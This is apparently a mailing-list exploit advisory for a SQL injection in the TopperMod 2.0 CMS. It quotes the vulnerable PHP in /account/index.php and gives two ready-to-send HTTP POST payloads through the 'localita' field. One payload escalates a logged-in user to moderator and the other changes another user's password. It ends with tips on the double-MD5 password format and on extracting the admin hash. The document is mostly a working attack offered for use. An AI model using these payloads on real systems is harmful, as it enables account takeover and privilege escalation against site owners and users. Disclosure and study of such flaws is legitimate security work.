<<< Date Index >>>     <<< Thread Index >>>

TopperMod 2.0 Remote SQL Injection Vulnerability



# Author:       __GiReX__
# mySite:       www.r57shell.in

# CMS:          TopperMod v2.0
# Site:         www.wikipediatr.com

# Bug:          SQL Injection

# Type:         1 - Priviledge Escalation (from user to mod)
                2 - Remote user password change

# File:         /account/index.php
# Var :         $localita

# Need:         magic_quotes_gpc = Off
                You must be logged in


# Vuln Code: /account/index.php:        

        case "edituser_save":
        ...


        $localita=$_POST['localita']; 
        ...

        if ($localita!="") { 
                if (eregi("^[a-zA-Z0-9]",$localita)) {
                        
$localita=substr(htmlentities(htmlspecialchars($localita), ENT_QUOTES),0,20);
                }
        }

# And if our $_POST['localita'] does not begin with a char or a number?
# Input not sanizated
        
        ...
        $res=dbquery("UPDATE ".PREFISSO."_utenti SET  email='$email', 
localita='$localita', sito='$sito', 
                     tema='$tema_user', time_zone='$time_zone'  $pass  
                     WHERE user_id='$user_id' "); 

# Vulnerable query :D

        

# PoC 1:

        POST  /[PATH]/mod.php?mod=account HTTP/1.1
        Host: [TARGET]
        ...headers...

        email=someone@xxxxxxxxxxxxx&localita=@', 
permessi='1&go=edituser_save&user_id=[YOUR_USER_ID]

# PoC 2:

        POST  /[PATH]/mod.php?mod=account HTTP/1.1
        Host: [TARGET]
        ...headers...

        email=someone@xxxxxxxxxxxxx&localita=@', 
password='[PASSWORD]&go=edituser_save&user_id=[VICTIM_USER_ID]



# Note: [PASSWORD] must be the md5 of the md5 of the wanted password, you must 
forget in the content the end quote
# We can also try to get admin hash trought sql subqueries but the password is 
crypted into md5 2 times
# and Admins don't use cookies in this CMS...